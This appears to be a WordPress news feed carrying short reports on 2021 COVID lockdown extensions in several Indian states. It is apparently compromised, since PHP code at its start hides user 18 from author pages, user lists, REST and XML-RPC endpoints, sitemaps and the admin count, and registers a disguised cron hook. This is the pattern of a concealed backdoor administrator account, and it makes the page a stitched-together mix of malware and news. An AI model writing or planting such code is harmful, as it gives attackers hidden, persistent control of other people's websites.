add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post West Bengal Extends Lockdown Till The End Of July appeared first on The Edge Media.
]]>As part of the current changes, banks throughout the state will now be open from 10 a.m. to 3 p.m. The subway rail services will be permitted to run at 50% capacity five days a week.
Intrastate buses will now be able to operate at 50% capacity with immunised drivers. All stores and marketplaces will be open during normal business hours.
The post West Bengal Extends Lockdown Till The End Of July appeared first on The Edge Media.
]]>The post Covid related restrictions extends in West Bengal appeared first on The Edge Media.
]]>As per the new guidelines, private buses in the state will operate at 50% capacity.
Also, offices have been allowed to open with 50% manpower.
Similarly, salons and gyms are also allowed to function with 50% capacity.
“Salons, beauty parlours allowed to open from 11am to 6pm with 50% seating capacity provided staff has been vaccinated. Gyms to be allowed with 50% capacity,” the chief minister said.
Social gatherings such as weddings would be allowed with a maximum of 50 people, Banerjee said, urging people to continue wearing masks and maintaining social distance.
The government also allowed vegetable markets to remain open from 6 am to 12 pm.
The restrictions, imposed on May 16, were last extended till June 30.
The post Covid related restrictions extends in West Bengal appeared first on The Edge Media.
]]>The post Uttarakhand Extends Lockdown Till 29 June, New Partial Restrictions Imposed appeared first on The Edge Media.
]]>Uniyal also declared some easing of the curfew and a pilgrimage to Badrinath and Kedarnath. This is only confined to local residents, though. Eateries and hotels received clearance from the state government and start restaurants with a capacity of 50%. However, guests would only be invited between 6 am and 10 pm.
The post Uttarakhand Extends Lockdown Till 29 June, New Partial Restrictions Imposed appeared first on The Edge Media.
]]>The post Tamil Nadu Sets New Partial Lockdown Restrictions appeared first on The Edge Media.
]]>Passers would be permitted without electronic registration to ride in taxis, cabs, and auto-rickshaws in Chennai and neighboring areas such as Chengalpattu and Kancheepuram, and Tiruvallur districts. Except for drivers, just 3 passengers would be permitted in taxis and only two in cars.
Food products, vegetables, and meat vendors are open from 6:00 am to 7:00 pm. Restaurants and bakeries are only admitted between 6 a.m. and 9 p.m. for package food. It would be possible for all e-commerce firms to service clients from 6 am to 9 pm.
The post Tamil Nadu Sets New Partial Lockdown Restrictions appeared first on The Edge Media.
]]>